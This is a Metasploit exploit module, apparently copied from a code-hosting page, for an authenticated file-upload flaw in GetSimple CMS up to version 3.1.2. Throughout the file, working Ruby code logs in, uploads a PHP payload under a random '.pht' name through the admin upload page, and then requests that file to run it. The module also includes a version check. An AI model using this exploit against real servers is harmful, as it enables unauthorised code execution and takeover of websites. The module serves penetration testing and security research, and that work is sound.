dwelch-r7
138 lines
4.1 KiB
Ruby
138 lines
4.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'GetSimpleCMS PHP File Upload Vulnerability',
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'Description' => %q{
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This module exploits a file upload vulnerability in GetSimple CMS. By abusing the
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upload.php file, a malicious authenticated user can upload an arbitrary file,
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including PHP code, which results in arbitrary code execution.
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},
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'Author' =>
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[
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'Ahmed Elhady Mohamed'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['EDB', '25405'],
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['OSVDB', '93034']
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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['Generic (PHP Payload)', {}]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2014-01-04'
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))
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register_options([
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OptString.new('TARGETURI', [true, 'The full URI path to GetSimplecms', '/GetSimpleCMS']),
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OptString.new('USERNAME', [true, 'The username that will be used for authentication process']),
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OptString.new('PASSWORD', [true, 'The right password for the provided username'])
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])
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end
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def send_request_auth
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path.to_s, "admin", "index.php"),
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'vars_post' => {
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'userid' => "#{datastore['USERNAME']}",
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'pwd' => "#{datastore['PASSWORD']}",
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'submitted' => 'Login'
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}
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})
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res
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end
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def send_request_upload(payload_name, cookie_http_header)
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data = Rex::MIME::Message.new
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data.add_part("<?php #{payload.encoded} ?>", 'application/x-httpd-php', nil, "form-data; name=\"file[]\"; filename=\"#{payload_name}\"")
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data.add_part("Upload", nil, nil, "form-data; name=\"submit\"")
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data_post = data.to_s
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path.to_s, "admin", "upload.php"),
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'vars_get' => { 'path' =>'' },
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'cookie' => cookie_http_header,
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => data_post
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})
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res
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end
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def check
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res = send_request_cgi({'uri' => normalize_uri(target_uri.path.to_s, 'admin', 'index.php')})
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if res && res.code == 200 && res.body && res.body.to_s =~ /GetSimple CMS.*Version\s*([0-9\.]+)/
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version = $1
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else
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return Exploit::CheckCode::Unknown
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end
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print_status("Version #{version} found")
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if Rex::Version.new(version) <= Rex::Version.new('3.1.2')
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return Exploit::CheckCode::Appears
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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print_status("Authenticating...")
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res = send_request_auth
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if res && res.code == 302
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print_good("The authentication process is done successfully!")
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else
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fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
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end
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print_status("Extracting Cookies Information...")
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cookie = res.get_cookies
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if cookie.blank?
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fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
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end
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print_status("Uploading payload...")
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payload_name = rand_text_alpha_lower(rand(10) + 5) + '.pht'
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res = send_request_upload(payload_name, cookie)
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if res && res.code == 200 && res.body && res.body.to_s =~ /Success! File location.*>.*#{target_uri.path.to_s}(.*)#{payload_name}</
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upload_path = $1
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print_good("File uploaded to #{upload_path}")
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register_file_for_cleanup(payload_name)
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else
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fail_with(Failure::Unknown, "#{peer} - Upload failed")
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end
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print_status("Executing payload...")
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send_request_raw({
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'uri' => normalize_uri(target_uri.path.to_s, upload_path, payload_name),
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'method' => 'GET'
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}, 5)
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end
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end
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